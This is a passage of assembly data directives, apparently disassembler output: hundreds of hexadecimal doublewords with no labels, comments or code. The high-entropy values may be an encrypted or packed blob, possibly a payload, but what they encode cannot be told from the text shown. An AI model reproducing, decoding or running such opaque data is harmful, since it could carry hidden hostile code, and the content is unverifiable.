		dd 2D5D5E48h, 0C11802F7h, 0E96577D4h, 302D7108h, 1625C62h
		dd 6C70E25Ah, 0A6693868h, 319BB5B1h, 7F5D9BF0h,	25F23856h
		dd 0C1C5C949h, 0D3DF0438h, 10CFA2EBh, 5601AF1Ah, 901710BEh
		dd 0F9A2EC0Fh, 34B01994h, 0B4555766h, 68206FDDh, 0D2E96FEDh
		dd 4C2488BEh, 609B35C0h, 0C13B48C5h, 0F3507F02h, 6A98293Fh
		dd 37137E05h, 0D70423D2h, 0E6E07FE9h, 9802ECC0h, 0E4C35F65h
		dd 0F65634B6h, 5D267B33h, 43C2C2F9h, 188C52C6h,	3C6A1E65h
		dd 75826395h, 0E2FC59Ch, 6167E4AEh, 0D2CC1E5Ah,	0D2DDFA1Ah
		dd 93ED9F05h, 9E387FA7h, 9BF69F73h, 2C1A529Fh, 5208F82Ch
		dd 0A6CCB057h, 9F7B247h, 22B115CCh, 3793DD06h, 3E5AC107h
		dd 836F117Fh, 0A43159FEh, 9E4181FCh, 12AF2830h,	95CCE5Dh
		dd 7FD91C9Dh, 4D54ED82h, 0D52D4058h, 88142DE9h,	0E299CBC6h
		dd 0EB00511Dh, 0B6E95536h, 5CC2E1A2h, 53BC5B70h, 50C954B8h
		dd 0B57F487Dh, 0B1D6B7A1h, 52F41D3Ah, 68AAE2D6h, 54557EB3h
		dd 991E3F58h, 0F9CD50CBh, 0D5123C63h, 97FCE84Fh, 7BF9457h
		dd 3AB85003h, 0DC62A728h, 545C4EF5h, 30E95B74h,	0C551A705h
		dd 0D3285AC6h, 3703963Ah, 2940D823h, 81C40CDh, 0B2FF9E9h
		dd 94FF5964h, 94C6FE4Ah, 0ADFE2DECh, 0ABB0F109h, 9A202C1h
		dd 0C1500436h, 0B80FDEh, 5C2DCA81h, 0C60C26Eh, 32CB56A6h
		dd 9E41AA96h, 54EAA168h
		dd 0E9923073h, 6E9F8262h, 0E758973Fh, 60B04892h, 0BB60FE60h
		dd 0A62AEBh, 4DBD5533h,	0F7395D5Eh, 8202D551h, 8527A8F0h
		dd 82BAC1A1h, 84EE6144h, 0B09DEC7Ah, 0A28637F3h, 5899A0F9h
		dd 0B2CC44E9h, 0E75A0BD1h, 897DE8FBh, 0E6215AB5h, 0BD7E1076h
		dd 0BDC062Ah, 90C445Ah,	9297F60Fh, 480544F5h, 958BF05Ch
		dd 0EA09A460h, 0BC3220FFh, 4C297240h, 0F20B2EDFh, 6C82B92Bh
		dd 5903A6F4h, 682E0989h, 0D2DA6CE2h, 17B29C5Ah,	0B7556F51h
		dd 9FD4BB9Ch, 287F8D0Dh, 0E804F403h, 0BA0EF180h, 2F423903h
		dd 45F7F6D2h, 4AC628CEh, 5F01B224h, 1210D686h, 0CC5AB268h
		dd 3814B6B6h, 5FC17E8h,	47354ECBh, 408057C4h, 0B831FEBEh
		dd 6AFB80F0h, 53A0475h,	0FAE168E9h, 62EF34CCh, 62C65F2Ch
		dd 8285C51Bh, 0C49AD8C9h, 0A1608B6Dh, 51B7BF29h, 0DFAB8CF7h
		dd 79454149h, 4F4E26Bh,	22E31E58h, 702C4E1h, 0B2CD4856h
		dd 0CB9C5C2Ch, 7402258h, 0BDA9B05Eh, 0AFAC8845h, 0EF5DE927h
		dd 1F86D930h, 56C7010Ch, 0BE2E52F2h, 73A3CED7h,	0F52F02FCh
		dd 2C063A6Fh, 314E2540h, 5169301h, 728A51F3h, 0A12D2A20h
		dd 9F445D07h, 8D522BC4h, 55761A01h, 3060412Eh, 7316B5D1h
		dd 2954AFFAh, 354FF186h, 207F30A6h, 79B5A811h, 0AECE027Eh
		dd 0E8D701B3h, 5B3EBA2Bh, 0DE39A039h, 0AE8A865Fh, 0CFAE547Eh
		dd 59527751h, 532663B4h, 0F9C81EA0h, 83D2C5ADh,	0DF2E74Fh
		dd 814F005Ah, 963E38EBh, 0DA893917h, 41AA7C85h,	0E9D60122h
		dd 0E957C6D1h, 0A0CC75D3h, 409A9013h, 71975D05h, 82552F79h
		dd 77F3BFDBh, 76B5F746h, 0B5AE42AFh, 66D78800h,	1B0F65Ah
		dd 30FBB2A0h, 0CC8058C2h, 0FA7528BBh, 5B05EA75h, 0B551DAF6h
		dd 63815F84h, 0BF00B2DFh, 74507632h, 173CCF9Eh,	0F7688C27h
		dd 56A10D7h, 0E9713D25h, 2D0ED08Dh, 0A0091F56h,	87C10109h
		dd 7F0BFCE3h, 702E716Ch, 56C20CEBh, 60EC5CB5h, 42C0369Ah
		dd 5BDE210Ah, 70038B55h, 0BE320139h, 0BD6E5830h, 9F028381h
		dd 87E1EB17h, 16878358h, 0A8036A53h, 7FE17BFEh,	91B72D7Eh
		dd 72CA9D79h, 0C61CD211h, 6FB55DBEh, 1A7582E2h,	0C9A7C296h
		dd 0F92F5D69h, 0DF5CA265h, 326BDAF1h, 7F094855h, 0EB79C0C8h
		dd 1880578Ah, 1770CC1h,	54004E11h, 4379BE6Bh, 0C351D37Eh
		dd 140CA208h, 0E92041F9h, 9B006E55h, 0AF27A605h, 0F8290614h
		dd 0B49BB951h, 0D9F73513h, 51AE008h, 0FE473168h, 0D3B83464h
		dd 2790CE4Bh, 87D08398h, 50D0BAEAh, 955CB79Bh, 5DC8E9F8h
		dd 1674A433h, 1F608E07h, 13120A74h, 68694240h, 291601D3h
		dd 8BC45910h, 13F1F99Bh, 4E92F868h, 0EA9722FDh,	92FE3B79h
		dd 4CAC61DFh, 7CC12181h, 6B751179h, 80BD094h, 43475F5Fh
		dd 169B0E27h, 0FCA092FAh, 0A59E8650h, 0A79CFD2Dh, 582F5E97h
		dd 85E4D68h, 0A3E9AB30h, 2D86AE1Bh, 16774401h, 685B0902h
		dd 66F9411Ah, 0D60DA88Bh, 3800CBCAh, 5D9C11CEh,	0E02CC0B4h
		dd 45C0EC17h, 5A181910h, 821ECD1Bh, 7902FB0Ch, 5FD9897Dh
		dd 83A5BA10h, 55018916h, 19F33041h, 0C43A22B9h,	0E1E18115h
		dd 0F4E0FB23h, 5A0C9D34h, 936166E9h, 85C1EAEh, 0B4CC9249h
		dd 0C439F275h, 0D91F2806h, 92372D05h, 0B2C58902h, 0FA77F5BCh
		dd 0ABD4976Ch, 25960820h, 50E95C85h, 5E25C6B8h,	1B90CED8h
		dd 0F1C7E525h, 0A7F92663h, 57D070F6h, 4BF017BFh, 0E29BA0C8h
		dd 5DB1119Dh, 68152C2Eh, 0C714782Ch, 3106006Bh,	9835F574h
		dd 8C684A3Fh, 0BDBEA4F7h, 0E9AFB560h, 9D4E4B9Dh, 7BA86F57h
		dd 0FE840993h, 2C29E7F5h, 1A5908C0h, 16FE5D16h,	878FB2ADh
		dd 0C5A0C72Dh, 51F02951h, 0D3F00705h, 55EB1623h, 9A2F0A5Eh
		dd 36D5A757h, 0B948B546h, 5281DCE3h, 0A7D4B83Eh, 2F9B3C31h
		dd 417C4C84h, 2057B835h, 0B1B53B96h, 54E24B93h,	0B02D2DAFh
		dd 0EA27EF08h, 4DB08235h, 9CF50D94h, 0D40F8AC2h, 0AAC16081h
		dd 33482A02h, 2FE93FF1h, 9F6DC482h, 681386CCh, 0F6BD03FEh
		dd 7F2F5588h, 75D6EF0Bh, 50A890AFh, 75E9805Ah, 402181BCh
		dd 1005F19Ch, 80AB1450h, 9686E9FCh, 48D0D39Dh, 1268E16Eh
		dd 0B8658B61h, 6BB37C78h, 0C132F75h, 54362DD6h,	90576133h
		dd 6B560FCAh, 0DF497E62h, 6C541883h, 29591009h,	0CBA982F9h
		dd 2E2E49Ch, 41886982h,	93F1EE01h, 0E1A2554Bh, 0D1D5BC0Ch
		dd 0DBF66084h, 2FB8CBFEh, 0EB30BD03h, 2DD82059h, 52F1AB7Ah
		dd 0E69927BCh, 0E9570882h, 0EE92DF5Ch, 0BA0256AAh, 0C2F1CE04h
		dd 684D0312h, 0BAE50A71h, 0D892261h, 19F23D8Bh,	2DF621F8h
		dd 80E68D4Ah, 7A58C180h, 0E9120AAFh, 3A35A1ACh,	7D914280h
		dd 0BD1D791Bh, 965457Eh, 2FE98E20h, 3261C9D0h, 6429782h
		dd 0B7FD14F5h, 0BD621171h, 21DE48ACh, 355197F9h, 4601E961h
		dd 0C386C762h, 197A9BAh, 0DF3FE5C8h, 9578A06Ah,	44009FA4h
		dd 121077Ah, 7FBA52FEh,	1C383FCCh, 57CDCA03h, 0C040E15h
		dd 70774A92h, 3F6C4F01h, 9BA14039h, 5E4F7805h, 7DEE32D2h
		dd 685F9EA0h, 6FE14425h, 27B1B5ECh, 879C3B80h, 9984C050h
		dd 0B8495860h, 55A0CE01h, 8742DC4h, 846B1F61h, 407136Ah
		dd 4FABA1Bh, 0E3AA2C33h, 0B03610BEh, 0EC1A8130h, 653E5A3Bh
		dd 0C909905Bh, 3E89876h, 53886C8Fh, 2E03C783h, 227554CFh
		dd 260C022Eh, 0F705172Dh, 0EC07D5F4h, 0CAC6B5Eh, 0B231737h
		dd 0E9A40482h, 2804D171h, 7E8ADCF3h, 914519BFh,	7DDA63C1h
		dd 0C813DCEh, 0DCA9A55Dh, 1BE986D6h, 8A80A6B7h,	0E43D575Ah
		dd 9F79924Dh, 8EAF0852h, 8DEC4BEAh, 0F1F5E9C5h,	0E3006F97h
		dd 30ED6673h, 4C140205h, 0C701502Fh, 50985B4Ch,	737A3E0Bh
		dd 3086F434h, 3A75EF5Ch, 0F731FC17h, 0A945AE09h, 9DB4564Fh
		dd 784D66E1h, 57B8C329h, 0D497AF70h, 0D3775ABAh, 1A35A60Ch
		dd 0AE76B740h, 0F1AF4F89h, 2464261Ch, 19DD25ACh, 79D0BF33h
		dd 98F0FE60h, 953C7640h, 5520D214h, 0C1801CD5h,	7DF1C18Ah
		dd 287AEF68h, 0CE8881C8h, 2DD35351h, 0B95AF9F0h, 0B7408390h
		dd 10F9B75Dh, 43286805h, 0E6B874FFh, 0EBE6122Ah, 4DDE43FCh
		dd 2B56C519h, 4760CEA5h, 61CB4186h, 0A9BD7A43h,	0CE61BFA4h
		dd 8A3A69BAh, 8F425A7h,	0CE27EF9Fh, 0BC12D7B5h,	0CD4E150Dh
		dd 5F2D787Ch, 6B65D62Eh, 0E9C72F54h, 2D01CC54h,	0ED793CACh
		dd 0D35DDA5Bh, 0B06544E6h, 0C6C197A3h, 37572F70h, 950B1DF0h
		dd 1E9E0398h, 936B9A3Eh, 0E320F490h, 0FB4643F2h, 0F05ACB6Ch
		dd 1EC2DD71h, 0CC485968h, 119C25C5h, 0C5A163CEh, 2F887A3Eh
		dd 0AA5400F8h, 335250Ch, 0E9277A63h, 579B09FFh,	1288E745h
		dd 0C3310FAEh, 45500896h, 0D8D9E961h, 8500D339h, 4809CA72h
		dd 25FC5240h, 0A7901A5Ch, 0CD656DB5h, 0F6EF44FBh, 0EFCAEB51h
		dd 815E4F7Ch, 22535CD1h, 2A210B8h, 0B630B707h, 5BFE02AAh
		dd 2809A1DEh, 0DB7B62C8h, 0B0E9C281h, 5D19E957h, 0EDCEB15h
		dd 0A0882FE9h, 0A8C2E213h, 0DA62104Ah, 80598274h, 0D8FD72F1h
		dd 80CBB520h, 3D93585Fh, 4AA7D83Eh, 0E9E7B7BCh,	0B7F8657Dh
		dd 0F481F4C5h, 87A4FE0Bh, 48C5424h, 79C055CBh, 801EF6B7h
		dd 0B8B44E7h, 801DCB3Bh, 0C1404107h, 0E252210Ch, 4078215Bh
		dd 0F009D550h, 0D1E95D08h, 3C680725h, 4CDF0914h, 9DE09A9Ch
		dd 7368F059h, 13FFF516h, 919BEFBCh, 0B323E90Ch,	214A5910h
		dd 88B5F9ECh, 0EF48BDE1h, 2CF1D154h, 0D625E0E9h, 0E8E9D8D0h
		dd 0C6210C41h, 268426B9h
		dd 0EE012C74h, 81A2694h, 0EDAC551Ch, 60EB018h, 2D032E14h
		dd 0E22AF25Bh, 1168A18Fh, 3BD4F33Fh, 0B6E6B7E9h, 0EFC105E6h
		dd 959CB7ECh, 0D0042CCAh, 67C01EC1h, 0F92831B1h, 0B450075Bh
		dd 8389B6A1h, 0CED858E6h, 14A75E9h, 5AFA57F4h, 0AE8744BAh
		dd 0F80112A4h, 1AD3664h, 67C9536h, 0B8381AE6h, 63B2419h
		dd 1110C10h, 41AF4CF1h,	1E782A40h, 77F759E9h, 1BDBBE03h
		dd 0DEC835F8h, 514CEED1h, 4AAA3838h, 87EA77AFh,	0BFDCF4C1h
		dd 1A193DF4h, 3A266C4Ch, 46045FFEh, 2DAE38E9h, 0E0A63BD6h
		dd 5102804h, 2624B358h,	7B004151h, 0E90AB164h, 0D4BF4F16h
		dd 268E8257h, 7525DE59h, 5CAF042Fh, 60CEB936h, 1EF681C8h
		dd 9A7D277Fh, 6D20F952h, 4C23BDA7h, 0BA847C96h,	0EE9667F3h
		dd 1D66CD2Ch, 12E779BFh, 0EB57BA31h, 9C0A7DBBh,	0D5E5F82Ch
		dd 11E06912h, 3F50E254h, 7624FDA2h, 0F20465DDh,	3BB0FE9h
		dd 0C0F780F9h, 0FE05EF88h, 0F9BC80A0h, 1E3F4A81h, 0B0F24B18h
		dd 1EC2299Bh, 0E608695Fh, 0A571F62Fh, 3BFFD9FAh, 53D24DE3h
		dd 8B21BB11h, 0F510AAE4h, 0E20E4E63h, 0C95E2D1Ch, 22FE827Ch
		dd 0E6045E5Fh, 801890C0h, 20C63E6h, 0E9C626FEh,	2E9225FEh
		dd 305CBF42h, 66535207h, 0D9B1B233h, 0F72FF4FDh, 605A7BE2h
		dd 0FF5DD709h, 68594600h, 0AB9B5E1Fh, 9116619h,	0BDDEF02Bh
		dd 0B54FC60Bh, 0D8E1A047h, 2FE9EFF5h, 0BAAE26C7h, 0CDF16CE9h
		dd 1528B003h, 25CF7F25h, 58649792h, 0C9E971B7h,	0CCC26002h
		dd 3B72F30Eh, 3FE918EFh, 0E16D81F1h, 37266739h,	2B36C0DAh
		dd 892C14AEh, 0EC18AACBh, 0CF1296Bh, 60BA7413h,	2F8B4008h
		dd 6E005078h, 517D6A6Bh, 5106853h, 5B097B27h, 518A8D1h
		dd 3A179D9Bh, 57E032F8h, 0CE5F01E9h, 13D3EAEDh,	2038FEF8h
		dd 0AED05542h, 0F557BAD3h, 0C2DEC225h, 0D0D25922h, 3C18817Eh
		dd 70404D5Eh, 67E2F23h,	9A592240h, 0D8860382h, 0C2431609h
		dd 3B8BB158h, 5619418Ah, 7D8605Bh, 0F5FB4865h, 0EECB432Fh
		dd 40553AB9h, 69A2DEA3h, 0CF210C0Ah, 0BB018C59h, 1AFA7DEEh
		dd 0EC5B8343h, 0B5FF2ACCh, 0CD875002h, 0B030F1DCh, 985A25A2h
		dd 14D6F6C4h, 0BD37B475h, 0E2F61E20h, 0C52E8809h, 13060427h
		dd 7F467E82h, 3097C07Ah, 0BDF55783h, 49597410h,	7FC330B5h
		dd 0FED2584Fh, 93C4562Ch, 84F1FC5Bh, 359331D0h,	4AB8BAF9h
		dd 0EDAC0331h, 0F7679030h, 0D644BF89h, 514A4DB2h, 0F07CE021h
		dd 0E4EBB854h, 0A841FCCEh, 0D495802Eh, 97C4512h, 3B431A2Fh
		dd 714BD937h, 4B4AD948h, 2A80894Eh, 7CFCD3E1h, 0BB7F0011h
		dd 80EE8393h, 0C59FCB01h, 0E7078878h, 3C007D25h, 4B525CC2h
		dd 64385A7Eh, 70F64E45h, 1DB6B91Dh, 0E1C14B19h,	0EB059CFCh
		dd 81004C7Ch, 405073F6h, 1EFDA071h, 68C00934h, 0B08F129h
		dd 0EED42508h, 12CFD3ADh, 68978054h, 65B5565Ch,	49D9A61Ch
		dd 5F16E2DCh, 4A7504B8h, 252BEF3h, 10AD370Dh, 1C5A8400h
		dd 0BD0E5B64h, 23A0041h, 0F0E94186h, 5292BFF3h,	30CF5F7Eh
		dd 1AF73C2Dh, 0AEE88079h, 4B286A47h, 50AEAC5Bh,	7048DADh
		dd 53E94C3Ah, 0FB3B17EAh, 4B7350DEh, 58F263E3h,	0CCAAEBDh
		dd 51C9680Bh, 7E2464E6h, 5565C3CCh, 0EA0482h, 0CA0765BBh
		dd 302E267Ah, 0DFB47370h, 0DEAB7E95h, 123D48ABh, 39EF5126h
		dd 37B96FC1h, 0E5A7A818h, 2016F1CDh, 69E82F15h,	0ECF41396h
		dd 4CADE346h, 0B99780A9h, 0FC1451C7h, 4E481715h, 450F48A9h
		dd 3F0F2108h, 2BB9F087h, 422D478h, 0E03A8E40h, 0DB092DD7h
		dd 4659523h, 7F38086h, 0A6573613h, 9A4410Eh, 0F70D8A70h
		dd 5E96F9D7h, 6858D541h, 8C6B549Bh, 14BD0168h, 21E926C0h
		dd 55D80C1h, 53D208E2h,	2DC80114h, 0C275107h, 0CC531B5h
		dd 0A54003E9h, 27135635h, 652D0E2Ah, 5096F878h,	68C0B7A6h
		dd 29542EB4h, 8AEEC09Dh, 1D6F2D46h, 62F70FD8h, 25575826h
		dd 9C712231h, 3194FDE6h, 0A00D1B20h, 9EBA77F1h,	86698850h
		dd 5376806h, 63C7240Bh,	79E962C5h, 0D055F96Ah, 74ED4CB4h
		dd 0EE498217h, 813A2C4h, 8F0A1004h, 31ADBF00h, 0C19774DEh
		dd 14F94FC2h, 75FDA87Ah, 0B3E6DBDh, 62E867E9h, 776FF8F3h
		dd 1B2D6504h, 2F681F2Ch, 159876AFh, 0D9301D7Ch,	338CAE2Eh
		dd 0E62176CDh, 4F3A12F3h, 4EA7B80Ch, 0F71687BCh, 0A1FC12DDh
		dd 0CB616F57h, 8B7B81F4h, 68AB610Fh, 172618DAh,	1370A210h
		dd 0EEF0FEE9h, 0A75EB75Ch, 7404C624h, 0E1820220h, 8222D44Ah
		dd 53DD2EA3h, 0BB7C307Fh, 7BDFC5Eh, 0F1E38115h,	0C1CEDE56h
		dd 703CDh, 0BE04728Fh, 34A8FCA1h, 0EFB03144h, 4478392Dh
		dd 89555A60h, 21C23B18h, 6E71CABDh, 25717482h, 2FAC1B93h
		dd 0FEBD0708h, 0AEC66476h, 0D4E31499h, 0A50A0C58h, 0F64CC925h
		dd 0C46E0B95h, 0AA092616h, 7F591B5Eh, 0AE62222Eh, 9F5840Bh
		dd 3CEEF76Eh, 0A34AE970h, 64C414B8h, 97B81652h,	0CD0C0F48h
		dd 0D63CFA2Ah, 0CE8102A0h, 0B4110505h, 0E5BB4E6Ch, 598B306Ch
		dd 575A74B4h, 16622AF9h, 5B195DD0h, 0FD7FA580h,	3AC84FBCh
		dd 9CAC1DDDh, 5868ED2Ch, 532F081Ah, 0C03D6249h,	5E8E547Eh
		dd 72C5A0ACh, 29415F1Dh, 882A9A8h, 0BF1ECCF4h, 600E960Bh
		dd 9FE6D1B6h, 0DEF449h,	4B29E46Bh, 7FC54B69h, 0DE2D0BC0h
		dd 3B5C4E07h, 0D5F2E405h, 43455109h, 0F68D1068h, 4C4909A7h
		dd 15ED0267h, 0C66D0CD2h, 0C38AD002h, 0DEF531D9h, 387570F0h
		dd 0B1137A24h, 0A1684502h, 8B1FD934h, 4C4554Fh,	2C862C8h
		dd 301C3BFh, 5F1F8E0h, 0D78018BDh, 0C7189D13h, 260287C7h
		dd 0F9315168h, 4E40DD5Fh, 0F1B5D79Ah, 0B87FA741h, 84B850D4h
		dd 8C46E918h, 7D415D7Bh, 81589D54h, 2514BEA0h, 0FF291D2Dh
		dd 6272F020h, 1F51633h,	9389B0D5h, 0DD0006E6h, 46AD6BDCh
		dd 58B05097h, 0DB209652h, 2B326814h, 0E3B3CFB1h, 507EBC0h
		dd 0E3800606h, 5D0EFE26h, 0F8C5E19Ch, 0EDF0CDFEh, 0FCE91287h
		dd 0A6C2AD63h, 59580008h, 0CA685155h, 135AEF38h, 4B73BC55h
		dd 0C04BC23Ah, 1BBF57BEh, 3CE46E0Fh, 48E32647h,	0BCEB0533h
		dd 0F937D562h, 2D08418Ch, 89902D2Ah, 0A52B5F19h, 98918DD8h
		dd 6BB8F5A7h, 6825D5F7h, 6848DE12h, 2568C812h, 0C9208D16h
		dd 2D697CBh, 0A34942h, 0E3D1DBF7h, 1480BAC1h, 0E56166F6h
		dd 0C57AA5B4h, 85DD8011h, 0E5EE4D4Bh, 257B0F13h, 3FF070F0h
		dd 1257993h, 310EF409h,	0AB6E1EA0h, 0B90F517Dh,	0B334069Fh
		dd 57964901h, 9520442Fh, 7407164Ah, 99D50A69h, 70FC40E0h
		dd 79B82342h, 8ABC1F0h,	9ADBA2CCh, 0FC482F7h, 0EEABE9F0h
		dd 177532DDh, 0AC143C40h, 49157BC3h, 0B8016817h, 38C95DFCh
		dd 0B0A4EC55h, 5BDD4FC0h, 780D5F6h, 0EDC00FCDh,	30606E05h
		dd 47E9E828h, 0B87507BDh, 2B875890h, 0C918CFD1h, 29BD0270h
		dd 0C012DE4Eh, 4A6BCAA5h, 8D4CA069h, 95435913h,	0A4B187AAh
		dd 0F5EAB427h, 0EB690A02h, 0FFCD8703h, 0ECC98FAh, 7E722045h
		dd 6F4048A8h, 0B893CB27h, 5D3CBE2Dh, 5B542910h,	0D8CA029Eh
		dd 0ED94772Dh, 49386817h, 6C0D6FCh, 0E9E4B151h,	0FA79A027h
		dd 24037859h, 0BED423DEh, 1326D9CCh, 0BE7D12E3h, 35BF4464h
		dd 7DC1ADB1h, 6F3A7CB5h, 2F095489h, 8641F143h, 17AE26D2h
		dd 1E607B03h, 245F7AD0h, 70F595Ch, 194F1692h, 47C144E1h
		dd 8561CE9Bh, 7001A20Ch, 69B1022h, 1528B9E0h, 68360978h
		dd 987D488Bh, 28320946h
		dd 79A3DB8h, 9C6CD2EFh,	2815C244h, 349DE479h, 2DEA5B78h
		dd 0A9C6FC74h, 0EE816296h, 0F4499C8h, 2DBD6F1h,	2577F69Dh
		dd 0BF607C89h, 0E1257412h, 0A0A05E70h, 40E91808h, 96F533AFh
		dd 6A3B3612h, 30CD980Ah, 16D73E82h, 0E104573Dh,	2D9AD20h
		dd 561A10F2h, 97F17492h, 0E14B33C1h, 177066F8h,	0E299E927h
		dd 608FD4E6h, 9F71F8C8h, 0AD404EFEh, 0E180BBAh,	0CBF558A8h
		dd 14AE798Eh, 8BEBD9BFh, 68079020h, 6C1A1536h, 81710A2h
		dd 2BB709F6h, 0BF549E55h, 0D7628359h, 4916F709h, 756B629Ch
		dd 0E9B03664h, 0B2474002h, 0C895E90Ah, 0C69BE8Ah, 0B8083C2Dh
		dd 0B4280BEEh, 0F7649631h, 92AC66B1h, 0A0BD84h,	351E8A2Dh
		dd 0D031397Dh, 4A08C230h, 9202D2F7h, 455F780Dh,	4DCB401Dh
		dd 319695C1h, 5A3D5B48h, 7C4C3FF7h, 5055C25Eh, 562F8295h
		dd 0C7597ACFh, 7F5C6884h, 290A30AAh, 674A7763h,	8F4F67FBh
		dd 5A8E392h, 22C377E4h,	7444081Eh, 0ACB965A5h, 275E5506h
		dd 44ECD80Dh, 0DD32A425h, 0EE5B6605h, 680BFFE3h, 0EC591FF7h
		dd 6D51DE84h, 0D4957C82h, 5350164Bh, 39CFBFB7h,	0B5E87B7Ah
		dd 0BD6A4D51h, 0DD34F52Fh, 0DA66E912h, 3424DBEEh, 0F4045566h
		dd 68029FC9h, 9FB14718h, 61E83A33h, 0A45F4EC1h,	86834301h
		dd 7B3EDFB1h, 0F30290B8h, 12300F0Ch, 5C20F2Fh, 71802D4Bh
		dd 5C5258B3h, 0D5517966h, 1C8B0801h, 0E9612C6Ah, 4E48A34Dh
		dd 0C5739899h, 0F265B716h, 0D2B4804Fh, 0CB9183E9h, 22D5E815h
		dd 0BCDC389h, 74E10057h, 5AF7317Eh, 2452BFD7h, 0CB0A67BCh
		dd 0DD7EA14h, 31186D77h, 5A6307Dh, 74F9D49h, 0EE23E87h
		dd 5DB88EA5h, 396EB902h, 0E2DF067Dh, 8F7955A1h,	12EBD945h
		dd 70EF254h, 3370236Ch,	3A858DE6h, 449E3ABAh, 0F025931Ch
		dd 0CA1E30D4h, 2748D9F6h, 0C95E1F9Bh, 622750C5h, 535922CBh
		dd 0C26FC05Dh, 5E0A5C01h, 83A15551h, 9ED308F6h,	27097027h
		dd 0C6545BF2h, 0F1FAC00Bh, 8711424Bh, 49A82409h, 0EB0288A9h
		dd 96D08B9Ch, 0A03E9476h, 0F8891EDDh, 0B3F30C57h, 44972110h
		dd 9018C7F2h, 0C65F0BACh, 9EA1ED99h, 0EE80AD93h, 56254B41h
		dd 891DDCA1h, 75FB09E9h, 76B52A96h, 79D62D5Ch, 50277C7Ah
		dd 0EB09F781h, 2B0672h,	7F771907h, 175B015h, 632647EAh
		dd 47E64E9h, 8A809004h,	38C8DED6h, 0EC5F382Dh, 5652B010h
		dd 34860B68h, 8F7835A9h, 890F8465h, 0D5D873BFh,	64F0138Ch
		dd 7B691099h, 4AA10B31h, 63987D4h, 0AD38F749h, 470B34BDh
		dd 204D69E2h, 68E0E553h, 7E809FD2h, 53B03DF0h, 893B659Fh
		dd 0D0527F3Ch, 4F1FE0B5h, 0A81B4B11h, 0A5DE6225h, 0E821031Ch
		dd 1AFA05C8h, 2D319002h, 0DF7235F3h, 25B099E0h,	0E92BAB05h
		dd 94217D89h, 0CC7F8FEDh, 0EF32B0A3h, 7AAEEA51h, 0F805202Fh
		dd 1B4582BDh, 5B680107h, 0E86FE532h, 73917338h,	0F117560Bh
		dd 42782DCEh, 0ED3D2F0Fh, 0A596E576h, 7A5579BFh, 6E7A2521h
		dd 0C0D9B503h, 7150FEEDh, 171DC53Ch, 0EE03E5h, 0F52820E1h
		dd 0EC7013E9h, 7A1C7E97h, 0B0BF92D2h, 829C3DB6h, 0E89D5C86h
		dd 0BD718F4h, 3F5BD9EFh, 0E386128h, 0E941841Ah,	0A882A9EAh
		dd 2567BD51h, 0A9DE850Bh, 0DAE5DD7Fh, 516EF4C2h, 0D21B9475h
		dd 0C8FE0905h, 0A3986C0h, 284C9BE6h, 0CE800E9Bh, 7CF66750h
		dd 0AEA2F395h, 0D833E0C4h, 83BF3BDDh, 0FB16B9DAh, 0AC80DCF8h
		dd 5A88556Fh, 12A9D465h, 6802BE08h, 0F8672D72h,	0B61D30A6h
		dd 7E7C140h, 9CCC2CC1h,	0C53BB1E0h, 0C405E8D4h,	0B80FCECBh
		dd 14503522h, 20D8965Fh, 1613010h, 580F0540h, 0A62F61E9h
		dd 0A1E90B90h, 0C1B39C53h, 0D05DFA2h, 0FA25CC26h, 88D9F232h
		dd 0C90ED158h, 0B976C284h, 2D538D6Ah, 0B71E75F8h, 62909B46h
		dd 5E27F84Bh, 5556D332h, 57A8535Ch, 8980083Bh, 0BDDF6C3h
		dd 8C06D55Ch, 0C0120622h, 0AAE00EE9h, 97E4B558h, 0F0190097h
		dd 0F02D1807h, 0A7049547h, 0D42909F4h, 68E97826h, 0DEF638E3h
		dd 7DB0A657h, 494677B1h, 0B903E821h, 3DAD657Bh,	0DCA24CD2h
		dd 0E07D015Eh, 618766h,	0F5814899h, 605B3C29h, 5088E927h
		dd 675E4983h, 0A0EE7C6h, 0C0B70F09h, 6F1E0466h,	758380E8h
		dd 0AF8CFF9Bh, 20E9A93Ch, 68259E63h, 0C0E99BCCh, 4F1B7606h
		dd 0A535AA36h, 0CBEC04EEh, 0E194EFFCh, 0E970D0FAh, 67B494EAh
		dd 68629060h, 0C1894F47h, 24ADC007h, 702E053h, 9BBD4D05h
		dd 0B178D519h, 0BCA01626h, 5DB7D1C2h, 25BDFF79h, 48E6E4E5h
		dd 0A63A9358h, 90780310h, 0DDB34A08h, 871BB4D3h, 0DE31C540h
		dd 54C40928h, 0B281C9FCh, 0BEC18078h, 2FE0069Ch, 0EF3A68F6h
		dd 5A666506h, 0F62C2FC6h, 71765E99h, 7EC80FB9h,	0BBA592A2h
		dd 0F7505449h, 0E924051Eh, 0DCA71217h, 4E082DC1h, 2EC404AFh
		dd 5102BBB8h, 0C0BA77E3h, 8357D927h, 9A7662E7h,	0CA59525Dh
		dd 8BB689EFh, 33D5CF98h, 0D7A6CAD0h, 83695CD1h,	859D6547h
		dd 85BFF6BBh, 71FA59E9h, 9E6DE33Bh, 4F38EAC7h, 8FCD54BBh
		dd 0EEDC404Eh, 52F72B4Dh, 68250176h, 0C0917EBCh, 15461F50h
		dd 19E5C95h, 0B84ECBFDh, 2EE7C1E9h, 9C419641h, 0C12A49D3h
		dd 70505FF0h, 209DEB05h, 0ED4FD0F6h, 0E6810220h, 2EB91BFDh
		dd 6E3340D7h, 0AA40E373h, 2FFA479Bh, 0FB5E4E2Ch, 15A084C7h
		dd 4EDFE909h, 7A449996h, 171C0B8Ch, 9D602F12h, 0E90601E2h
		dd 0D2167B29h, 7C3B74F1h, 0BC5BFA4Ch, 2D21BDC8h, 0BFDCC07h
		dd 2735CB55h, 72D96154h, 0E90CB825h, 2A4E417Dh,	0E44F24CBh
		dd 8354E9D4h, 26EF5FD6h, 0F38C36B9h, 98E3EE84h,	504F5AE8h
		dd 2A7D08B1h, 181479B9h, 0CA276B4h, 6137DF1h, 0CFEC613Eh
		dd 0A9590885h, 0B358A8Ch, 8BFF0C97h, 42BE2F02h,	4EE79C44h
		dd 5CC709C4h, 4A3B61DBh, 0BC4EB8E8h, 96EC5B89h,	0AC2105B4h
		dd 0E196BCF6h, 5060D821h, 0FD7BE5E8h, 6D56CCB1h, 0BD16FF7h
		dd 26F031A7h, 530908C6h, 1A121368h, 7D80C069h, 7EE52F4Dh
		dd 7C199347h, 0B16A891Fh, 0AD6238DCh, 5F072564h, 8B0DF25Eh
		dd 0C01B765Bh, 88513DB2h, 0EB4BD572h, 0E32768CBh, 2B5419E1h
		dd 400655C8h, 0D17B8831h, 85D971C4h, 59CEBB00h,	5998A6F8h
		dd 4BE8324Eh, 45345C4h,	0C0BFEED1h, 0D2E54E97h,	34E7697Eh
